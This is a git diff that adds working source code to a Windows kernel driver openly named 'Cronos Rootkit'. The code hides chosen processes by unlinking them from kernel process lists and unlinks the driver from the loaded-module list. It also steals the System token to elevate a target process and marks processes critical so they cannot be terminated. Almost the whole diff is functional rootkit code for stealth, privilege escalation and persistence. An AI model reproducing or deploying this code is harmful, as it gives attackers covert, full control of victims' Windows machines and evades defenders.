diff --git a/Cronos Rootkit/Cronos Rootkit.vcxproj b/Cronos Rootkit/Cronos Rootkit.vcxproj
index 9863375..91ffa68 100644
--- a/Cronos Rootkit/Cronos Rootkit.vcxproj
+++ b/Cronos Rootkit/Cronos Rootkit.vcxproj
@@ -143,9 +143,12 @@
+
+
+
diff --git a/Cronos Rootkit/Cronos Rootkit.vcxproj.filters b/Cronos Rootkit/Cronos Rootkit.vcxproj.filters
index 70f0afa..944c680 100644
--- a/Cronos Rootkit/Cronos Rootkit.vcxproj.filters
+++ b/Cronos Rootkit/Cronos Rootkit.vcxproj.filters
@@ -22,10 +22,19 @@
Header Files
+
+ Header Files
+
Source Files
+
+ Source Files
+
+
+ Source Files
+
\ No newline at end of file
diff --git a/Cronos Rootkit/Driver.cpp b/Cronos Rootkit/Driver.cpp
index 950ab0a..b4ba92e 100644
--- a/Cronos Rootkit/Driver.cpp
+++ b/Cronos Rootkit/Driver.cpp
@@ -1,18 +1,199 @@
+#include
+#include
#include "Driver.h"
+#include "Rootkit.h"
+NTSTATUS DriverCreateClose(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp);
+NTSTATUS DriverDispatch(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp);
VOID DriverUnload(_In_ PDRIVER_OBJECT DriverObject);
extern "C"
NTSTATUS
DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath)
{
- DriverObject->DriverUnload = DriverUnload;
KdPrint(("[+] Driver loaded!\n"));
+ DriverObject->DriverUnload = DriverUnload;
+
+ DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverCreateClose;
+ DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverCreateClose;
+ DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDispatch;
+
+ UNICODE_STRING devName = RTL_CONSTANT_STRING(L"\\Device\\Cronos");
+
+ PDEVICE_OBJECT DeviceObject;
+ NTSTATUS status = IoCreateDevice(DriverObject,
+ 0,
+ &devName,
+ FILE_DEVICE_UNKNOWN,
+ FILE_DEVICE_SECURE_OPEN,
+ FALSE,
+ &DeviceObject);
+ if (!NT_SUCCESS(status))
+ {
+ KdPrint(("[-] Unable to create device! %d\n", status));
+ return status;
+ }
+
+ UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\??\\Cronos");
+ status = IoCreateSymbolicLink(&symLink, &devName);
+ if (!NT_SUCCESS(status))
+ {
+ KdPrint(("[-] Unable to create symbolic link! %d\n", status));
+ IoDeleteDevice(DeviceObject);
+ return status;
+ }
+
+ HideDriver(DriverObject);
+
+ return status;
+}
+
+NTSTATUS DriverDispatch(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp)
+{
+ NTSTATUS status = STATUS_SUCCESS;
+ auto stack = IoGetCurrentIrpStackLocation(Irp);
+
+ switch (stack->Parameters.DeviceIoControl.IoControlCode)
+ {
+ case IOCTL_HIDEPROC:
+ {
+ KdPrint(("[+] Received hide process request\n"));
+ auto len = stack->Parameters.DeviceIoControl.InputBufferLength;
+ if (len < sizeof(HideProcData))
+ {
+ KdPrint(("[-] Received too small buffer\n"));
+ status = STATUS_BUFFER_TOO_SMALL;
+ break;
+ }
+
+ auto data = (HideProcData*)stack->Parameters.DeviceIoControl.Type3InputBuffer;
+ if (data == nullptr)
+ {
+ KdPrint(("[-] Received empty buffer\n"));
+ status = STATUS_INVALID_PARAMETER;
+ break;
+ }
+
+ ULONG targetPid = data->TargetPID;
+ GhostProcess(targetPid);
+ break;
+ }
+
+ case IOCTL_ELEVATEME:
+ {
+ PEPROCESS pTargetProcess, pSrcProcess;
+ KdPrint(("[+] Received elevation request\n"));
+ auto len = stack->Parameters.DeviceIoControl.InputBufferLength;
+ if (len < sizeof(ElevateData))
+ {
+ KdPrint(("[-] Received too small buffer\n"));
+ status = STATUS_BUFFER_TOO_SMALL;
+ break;
+ }
+
+ auto data = (ElevateData*)stack->Parameters.DeviceIoControl.Type3InputBuffer;
+ if (data == nullptr)
+ {
+ KdPrint(("[-] Received empty buffer\n"));
+ status = STATUS_INVALID_PARAMETER;
+ break;
+ }
+
+ ULONG targetPid = data->TargetPID;
+ ULONG srcPid = 4; //System PID is always 4
+ KdPrint(("[+] Target PID: %d and destination PID: %d\n", targetPid, srcPid));
+ status = ProcessElevation(srcPid, targetPid);
+ break;
+ }
+
+ case IOCTL_HIDETCP:
+ {
+ KdPrint(("[+] Received hide TCP request\n"));
+ auto len = stack->Parameters.DeviceIoControl.InputBufferLength;
+ if (len < sizeof(HideTcpData))
+ {
+ KdPrint(("[-] Received too small buffer\n"));
+ status = STATUS_BUFFER_TOO_SMALL;
+ break;
+ }
+
+ auto data = (HideTcpData*)stack->Parameters.DeviceIoControl.Type3InputBuffer;
+ if (data == nullptr)
+ {
+ KdPrint(("[-] Received empty buffer\n"));
+ status = STATUS_INVALID_PARAMETER;
+ break;
+ }
+ ULONG port = data->Port;
+ break;
+ }
+
+ case IOCTL_PROTECT:
+ {
+ KdPrint(("[+] Received process protect request!\n"));
+ NTSTATUS status = STATUS_SUCCESS;
+ auto len = stack->Parameters.DeviceIoControl.InputBufferLength;
+ if (len < sizeof(ProtectProcessData))
+ {
+ KdPrint(("[-] Received too small buffer\n"));
+ status = STATUS_BUFFER_TOO_SMALL;
+ break;
+ }
+
+ auto data = (ProtectProcessData*)stack->Parameters.DeviceIoControl.Type3InputBuffer;
+ if (data == nullptr)
+ {
+ KdPrint(("[-] Received empty buffer\n"));
+ status = STATUS_INVALID_PARAMETER;
+ break;
+ }
+
+ ULONG targetPid = data->TargetPID;
+
+ KdPrint(("[+] Elevating process\n"));
+ status = ProcessElevation(4, targetPid);
+ if (!NT_SUCCESS(status))
+ {
+ break;
+ }
+
+ KdPrint(("[*] Protecting process\n"));
+ status = ProtectProcess(targetPid);
+ if (!NT_SUCCESS(status))
+ {
+ break;
+ }
+ break;
+ }
+
+ default:
+ status = STATUS_INVALID_DEVICE_REQUEST;
+ break;
+ }
+
+ Irp->IoStatus.Status = status;
+ Irp->IoStatus.Information = 0;
+ IoCompleteRequest(Irp, IO_NO_INCREMENT);
+ return status;
+}
+
+_Use_decl_annotations_
+NTSTATUS DriverCreateClose(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp)
+{
+ Irp->IoStatus.Status = STATUS_SUCCESS;
+ Irp->IoStatus.Information = 0;
+ IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
VOID DriverUnload(_In_ PDRIVER_OBJECT DriverObject)
{
- KdPrint(("[+] Driver unloaded!\n"));
+ KdPrint(("[+] Driver unload called\n"));
+
+ UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\??\\Cronos");
+ IoDeleteSymbolicLink(&symLink);
+ IoDeleteDevice(DriverObject->DeviceObject);
+
+ KdPrint(("[*] Driver unloaded!\n"));
}
\ No newline at end of file
diff --git a/Cronos Rootkit/Driver.h b/Cronos Rootkit/Driver.h
index d7d2c79..0b58af0 100644
--- a/Cronos Rootkit/Driver.h
+++ b/Cronos Rootkit/Driver.h
@@ -1,3 +1,66 @@
-#include
#include
+#define ACTIVE_PROCESS_LINKS 0x448
+
+#pragma region IOCTL
+
+#define IOCTL_HIDEPROC CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0001, METHOD_NEITHER, FILE_SPECIAL_ACCESS)
+#define IOCTL_ELEVATEME CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0002, METHOD_NEITHER, FILE_SPECIAL_ACCESS)
+#define IOCTL_HIDETCP CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0003, METHOD_NEITHER, FILE_SPECIAL_ACCESS) //Work in progress
+#define IOCTL_PROTECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0004, METHOD_NEITHER, FILE_SPECIAL_ACCESS)
+
+struct HideProcData {
+ ULONG TargetPID;
+};
+
+struct ElevateData {
+ ULONG TargetPID;
+};
+
+struct HideTcpData {
+ ULONG Port;
+};
+
+struct ProtectProcessData {
+ ULONG TargetPID;
+};
+
+#pragma endregion
+
+typedef struct _LDR_DATA_TABLE_ENTRY
+{
+ LIST_ENTRY InLoadOrderLinks;
+ LIST_ENTRY InMemoryOrderLinks;
+ LIST_ENTRY InInitializationOrderLinks;
+ PVOID DllBase;
+ PVOID EntryPoint;
+ ULONG SizeOfImage;
+ UNICODE_STRING FullDllName;
+ UNICODE_STRING BaseDllName;
+ ULONG Flags;
+ USHORT LoadCount;
+ USHORT TlsIndex;
+ union
+ {
+ LIST_ENTRY HashLinks;
+ struct
+ {
+ PVOID SectionPointer;
+ ULONG CheckSum;
+ };
+ };
+ union
+ {
+ ULONG TimeDateStamp;
+ PVOID LoadedImports;
+ };
+ struct _ACTIVATION_CONTEXT* EntryPointActivationContext;
+ PVOID PatchInformation;
+ LIST_ENTRY ForwarderLinks;
+ LIST_ENTRY ServiceTagLinks;
+ LIST_ENTRY StaticLinks;
+} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
+
+// GHOST
+PCHAR GhostProcess(UINT32 PID);
+VOID HideDriver(PDRIVER_OBJECT DriverObject);
diff --git a/Cronos Rootkit/Ghost.cpp b/Cronos Rootkit/Ghost.cpp
new file mode 100644
index 0000000..af3f7c2
--- /dev/null
+++ b/Cronos Rootkit/Ghost.cpp
@@ -0,0 +1,90 @@
+////
+// FUNCTIONS USED TO HIDE PROCESSES AND DRIVERS
+////
+#include
+#include
+#include "Driver.h"
+#include
+
+VOID HideDriver(PDRIVER_OBJECT DriverObject)
+{
+ KdPrint(("[+] Hiding driver\n"));
+ KIRQL irql = KeRaiseIrqlToDpcLevel();
+ PLDR_DATA_TABLE_ENTRY prevEntry, nextEntry, modEntry;
+ modEntry = (PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection;
+
+ prevEntry = (PLDR_DATA_TABLE_ENTRY)modEntry->InLoadOrderLinks.Blink;
+ nextEntry = (PLDR_DATA_TABLE_ENTRY)modEntry->InLoadOrderLinks.Flink;
+
+ prevEntry->InLoadOrderLinks.Flink = modEntry->InLoadOrderLinks.Flink;
+ nextEntry->InLoadOrderLinks.Blink = modEntry->InLoadOrderLinks.Blink;
+
+ modEntry->InLoadOrderLinks.Flink = (PLIST_ENTRY)modEntry;
+ modEntry->InLoadOrderLinks.Blink = (PLIST_ENTRY)modEntry;
+ KeLowerIrql(irql);
+ KdPrint(("[!] Driver hidden!\n"));
+}
+
+VOID RemoveTheLinks(PLIST_ENTRY Current)
+{
+ PLIST_ENTRY Previous, Next;
+
+ Previous = (Current->Blink);
+ Next = (Current->Flink);
+
+ Previous->Flink = Next;
+ Next->Blink = Previous;
+
+ // Re-write the current LIST_ENTRY to point to itself (avoiding BSOD)
+ Current->Blink = (PLIST_ENTRY)&Current->Flink;
+ Current->Flink = (PLIST_ENTRY)&Current->Flink;
+ return;
+}
+
+PCHAR GhostProcess(UINT32 pid)
+{
+ KdPrint(("[+] Ghosting process\n"));
+ LPSTR result = (LPSTR)ExAllocatePool(NonPagedPool, sizeof(ULONG) + 20);;
+
+ ULONG PID_OFFSET = ACTIVE_PROCESS_LINKS;
+ KdPrint(("[+] PID offset: %p\n", PID_OFFSET));
+
+ ULONG LIST_OFFSET = PID_OFFSET;
+
+ //Checking architecture using pointer size
+ INT_PTR ptr;
+
+ // Ptr size 8 if compiled for a 64-bit machine, 4 if compiled for 32-bit machine
+ LIST_OFFSET += sizeof(ptr);
+
+ PEPROCESS CurrentEPROCESS = PsGetCurrentProcess();
+
+ PLIST_ENTRY CurrentList = (PLIST_ENTRY)((ULONG_PTR)CurrentEPROCESS + LIST_OFFSET);
+ PUINT32 CurrentPID = (PUINT32)((ULONG_PTR)CurrentEPROCESS + PID_OFFSET);
+
+ if (*(UINT32*)CurrentPID == pid) {
+ RemoveTheLinks(CurrentList);
+ return (PCHAR)result;
+ }
+
+ PEPROCESS StartProcess = CurrentEPROCESS;
+
+ CurrentEPROCESS = (PEPROCESS)((ULONG_PTR)CurrentList->Flink - LIST_OFFSET);
+ CurrentPID = (PUINT32)((ULONG_PTR)CurrentEPROCESS + PID_OFFSET);
+ CurrentList = (PLIST_ENTRY)((ULONG_PTR)CurrentEPROCESS + LIST_OFFSET);
+
+ while ((ULONG_PTR)StartProcess != (ULONG_PTR)CurrentEPROCESS)
+ {
+ if (*(UINT32*)CurrentPID == pid) {
+ RemoveTheLinks(CurrentList);
+ return (PCHAR)result;
+ }
+
+ CurrentEPROCESS = (PEPROCESS)((ULONG_PTR)CurrentList->Flink - LIST_OFFSET);
+ CurrentPID = (PUINT32)((ULONG_PTR)CurrentEPROCESS + PID_OFFSET);
+ CurrentList = (PLIST_ENTRY)((ULONG_PTR)CurrentEPROCESS + LIST_OFFSET);
+ }
+
+ KdPrint(("[!] Process %d ghosted!\n", pid));
+ return (PCHAR)result;
+}
\ No newline at end of file
diff --git a/Cronos Rootkit/Rootkit.cpp b/Cronos Rootkit/Rootkit.cpp
new file mode 100644
index 0000000..7bd90cb
--- /dev/null
+++ b/Cronos Rootkit/Rootkit.cpp
@@ -0,0 +1,117 @@
+////
+// FUNCTIONS USED TO ELEVAET AND PROTECTS PROCESSES
+////
+#include "Rootkit.h"
+
+NTSTATUS ProtectProcess(DWORD PID)
+{
+ NTSTATUS status = STATUS_SUCCESS;
+
+ CLIENT_ID clientId;
+ HANDLE handle, hToken;
+
+ TOKEN_PRIVILEGES tkp = { 0 };
+ OBJECT_ATTRIBUTES objAttr;
+ ULONG BreakOnTermination = 1;
+
+ clientId.UniqueThread = NULL;
+ clientId.UniqueProcess = ULongToHandle(PID);
+ InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
+
+ status = ZwOpenProcess(&handle, PROCESS_ALL_ACCESS, &objAttr, &clientId);
+ if (!NT_SUCCESS(status))
+ {
+ KdPrint(("[-] Failed to open process: %d\n", status));
+ return status;
+ }
+
+ status = ZwOpenProcessTokenEx(handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, OBJ_KERNEL_HANDLE, &hToken);
+ if (!NT_SUCCESS(status))
+ {
+ KdPrint(("[-] Failed to open token\n"));
+ ZwClose(hToken);
+ return status;
+ }
+
+ tkp.PrivilegeCount = 1;
+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+ tkp.Privileges[0].Luid = RtlConvertLongToLuid(SE_DEBUG_PRIVILEGE);
+
+ status = ZwAdjustPrivilegesToken(hToken, FALSE, &tkp, 0, NULL, NULL);
+ if (!NT_SUCCESS(status))
+ {
+ KdPrint(("[-] Failed to adjust token\n"));
+ ZwClose(hToken);
+ return status;
+ }
+
+ status = ZwSetInformationProcess(handle, ProcessBreakOnTermination, &BreakOnTermination, sizeof(ULONG));
+ if (!NT_SUCCESS(status))
+ {
+ KdPrint(("[-] Failed to set information process\n"));
+ ZwClose(hToken);
+ return status;
+ }
+ KdPrint(("[*] Process successfully set as critical!\n"));
+
+ tkp.Privileges[0].Luid = RtlConvertLongToLuid(SE_TCB_PRIVILEGE);
+ status = ZwSetInformationProcess(handle, ProcessBreakOnTermination, &BreakOnTermination, sizeof(ULONG));
+ if (!NT_SUCCESS(status))
+ {
+ KdPrint(("[-] Failed to set information process: nr 2\n"));
+ ZwClose(hToken);
+ return status;
+ }
+ KdPrint(("[!] The process has become part of the system!\n"));
+ KdPrint(("[!] You want be able to close process untile next reboot\n"));
+
+ ZwClose(hToken);
+ return status;
+}
+
+NTSTATUS ProcessElevation(ULONG srcPid, ULONG targetPid)
+{
+ NTSTATUS status = STATUS_SUCCESS;
+ PEPROCESS pTargetProcess, pSrcProcess;
+
+ __try
+ {
+ //Getting target process
+ status = PsLookupProcessByProcessId(ULongToHandle(targetPid), &pTargetProcess);
+ if (!NT_SUCCESS(status))
+ {
+ KdPrint(("[-] Target PID PsLookup failed\n"));
+ return status;
+ }
+ KdPrint(("[+] Target EProcess address: 0x%p\n", pTargetProcess));
+
+ //Getting source process
+ status = PsLookupProcessByProcessId(ULongToHandle(srcPid), &pSrcProcess);
+ if (!NT_SUCCESS(status))
+ {
+ KdPrint(("[-] Source PID PsLookup failed\n"));
+ return status;
+ }
+ KdPrint(("[+] Source EProcess address: 0x%p\n", pSrcProcess));
+ }
+ __except (EXCEPTION_EXECUTE_HANDLER)
+ {
+ KdPrint(("[-] Target or source PID PsLookup failed\n"));
+ return EXCEPTION_EXECUTE_HANDLER;
+ }
+
+ __try
+ {
+ KdPrint(("[+] Setting source token to the target token\n"));
+
+ *(UINT64*)((UINT64)pTargetProcess + (UINT64)TOKEN) = *(UINT64*)(UINT64(pSrcProcess) + (UINT64)TOKEN);
+ KdPrint(("[*] Source token copied to the target!\n"));
+ }
+ __except (EXCEPTION_EXECUTE_HANDLER)
+ {
+ KdPrint(("[-] Setting target token to source token failed!\n"));
+ return EXCEPTION_EXECUTE_HANDLER;
+ }
+
+ return status;
+}
\ No newline at end of file
diff --git a/Cronos Rootkit/Rootkit.h b/Cronos Rootkit/Rootkit.h
new file mode 100644
index 0000000..629df90
--- /dev/null
+++ b/Cronos Rootkit/Rootkit.h
@@ -0,0 +1,26 @@
+#include
+#include
+#include
+
+#define TOKEN 0x4b8
+
+NTSTATUS ProtectProcess(DWORD PID);
+NTSTATUS ProcessElevation(ULONG srcPid, ULONG targetPid);
+
+extern "C"
+NTSYSAPI NTSTATUS NTAPI ZwSetInformationProcess(
+ __in HANDLE ProcessHandle,
+ __in PROCESSINFOCLASS ProcessInformationClass,
+ __in_bcount(ProcessInformationLength) PVOID ProcessInformation,
+ __in ULONG ProcessInformationLength);
+
+extern "C"
+_Must_inspect_result_
+NTSYSAPI NTSTATUS NTAPI ZwAdjustPrivilegesToken(
+ _In_ HANDLE TokenHandle,
+ _In_ BOOLEAN DisableAllPrivileges,
+ _In_opt_ PTOKEN_PRIVILEGES NewState,
+ _In_ ULONG BufferLength,
+ _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_PRIVILEGES PreviousState,
+ _When_(PreviousState != NULL, _Out_) PULONG ReturnLength
+);
\ No newline at end of file